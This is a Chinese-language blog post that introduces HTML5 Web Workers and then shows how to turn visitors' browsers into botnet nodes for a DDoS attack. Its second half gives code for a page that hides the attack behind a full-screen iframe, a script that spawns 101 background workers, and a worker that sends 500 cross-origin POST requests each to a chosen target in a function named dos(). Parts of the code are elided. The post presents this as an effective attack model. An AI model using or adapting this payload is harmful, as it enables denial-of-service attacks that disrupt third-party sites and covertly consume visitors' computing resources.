手记

Web Worker应用之CORS攻击实现botnet僵尸网络节点攻击

Web workers是HTML5标准提出的特性。目前各大浏览器的最新版本都已支持此功能。

Web workers的作用

Javascript语言是一个单线程的语言,所有任务都只能在一个线程上完成,一次只能做一件事。前面的任务没做完,后面的任务只能等着,这就造成了阻塞。Web workers可以解决这个问题。

Web worker可以为JS创建多线程环境,将一些任务分配给web worker运行。
在不影响主线程运行的同时,worker线程在后台运行,二者互不干扰。
可以将一些计算密集型或者高延迟的任务,交给web worker线程分担,从而缓解了主线程(UI交互)的阻塞和延迟。

Worker 线程一旦新建成功,就会始终运行,不会被主线程上的活动(比如用户点击按钮、提交表单)打断。这样有利于随时响应主线程的通信。但是,这也造成了 Worker 比较耗费资源,不应该过度使用,而且一旦使用完毕,就应该关闭。

创建Worker线程

var worker = new Worker('work.js');

只要在主页面加上一句new Worker(‘work.js’),那么work.js就会另外开辟一个心的线程在主页的后台运行,主线程和新线程之间数据交换的接口使用postMessage()和onMessage()进行通信。

Web Worker功能很强大,但无法访问DOM API。

Web Worker不会导致浏览器UI停止响应,短暂的Worker操作不会让用户察觉,但如果是长时间大量的worker运算操作,则会消耗CPU周期,使系统变慢,用户可能会看到CPU始终保持在高位。

Web worker+CORS

后台运行web worker加上跨域请求CORS,可以实现网络僵尸Botnet攻击。

每个僵尸节点浏览器请求的页面代码:

<style>
#page { width: 100%;height:100%}
body {margin:0}
</style>
<script type="text/javascript">
	var target='http://www.target.com';
	var work_loc='worker.js'
</script>
<script type="text/javascript" src="run_worker.js">
</script>
</head>
<body>
	<iframe id="page" name="page" src="http://www.example.com" frameborder="0" noresize="noresize" style="overflow:visible"></iframe>
</body>

run_worker.js代码控制运行的worker数量,关键代码如下:

var worker_loc='worker.js';
var workers = new Array();
var i=0;
var noWorker = typeof Worker == "undefined"  ? true : false;
if(!noWorker){
    try {
          for(i=0;i<=100;i++){
               workers[i]=new Worker(worker_loc);
               workers[i].postMessage(target);    
         }
     } catch (e) {
         //comment out in release
         e=e+""
         alert(e);
         if(e.indexOf("Worker is not enabled")!= -1) {
             noWorker = true
         }
     }
} 

worker.js代码:后台发送大量的跨域POST请求(CORS):

// ...
function makeRequest () {
    //make a new URL and request it via POST
    var fullUrl=makeUrl();
    var httpRequest= new XMLHttpRequest();
    httpRequest.open("POST", fullUrl, true);
    httpRequest.setRequestHeader("Content-Type", "text/plain; charset=uft-8");
    httpRequest.onreadystatechange=infoReceived;
    httpRequest.onerror=err;
    httpRequest.send(post_data);
}
function dos(){
    var i=0;
    for(i=0;i<500;i++){
        makeRequest();
     }
}
self.onmessage=function(e){
    base = e.data;
    dos();
}
//...

通过这样一个事例模型,每个僵尸节点的浏览器将会高效地发送大量请求,如果能控制成千上万个僵尸节点,那么这样的DDos攻击威力就比较大了。

更多阅读:

2人推荐
随时随地看视频
慕课网APP